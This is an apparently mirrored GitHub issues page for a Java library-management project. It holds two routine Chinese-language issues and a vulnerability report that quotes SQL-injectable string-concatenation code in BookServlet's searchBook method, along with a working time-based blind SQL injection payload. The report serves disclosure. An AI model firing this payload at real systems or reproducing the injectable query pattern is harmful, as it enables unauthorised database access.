Git Product home page Git Product logo

librarysystem's Issues

数据库连接问题

项目可以运行，数据导入正常，但是tomcat本地打开之后输入账号密码点击登录没有反应，配置文件里的数据库也换过了，localhost日志里什么都没有，不报错也不跳转，非常离谱
12

There is a SQL injection vulnerability in the searchBook method of the BookServlet

Code that generates SQL injections:

 String baseSql = "from book where price>=" + minprice;  //如果前端表单传入minprice为空，则minprice=0为异常处理的结果
        String sql = baseSql;
        if (maxprice != 0) sql = baseSql + " and price<=" + maxprice;        //如果前端表单maxprice输入不为空
        if (!minpdate.equals("")) sql += " and pdate>= '" + minpdate + "'";
        if (!maxpdate.equals("")) sql += " and pdate<= '" + maxpdate + "'";
        if (cateId != 0) sql += " and cateId=" + cateId;
        if (!name.equals("")) {
            String keywords = "";
            for (int i = 0; i < name.length(); i++) //将关键字分解成一个一个字进行模糊查询
                keywords += "%" + name.charAt(i);
            sql += " and name like " + "'" + keywords + "%'";
        }
        String countSql = "select count(*) " + sql;   //查询满足条件的记录数
        sql = "select * " + sql + " limit ?,?";
        System.out.println(sql);
        System.out.println(countSql);

payload:

type=search&bookname=aaaaa&cateId=0&minprice=&maxprice=&minPdate=&maxPdate=2024-04-15' AND (SELECT 5405 FROM (SELECT(SLEEP(5)))ITKj) AND 'GJzT'='GJzT

9U)COGZ$N6KB9)7RFN(IXEI

依赖问题

导入的时候记得修改一下坐标依赖（来自2022/12/29日的提醒）

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.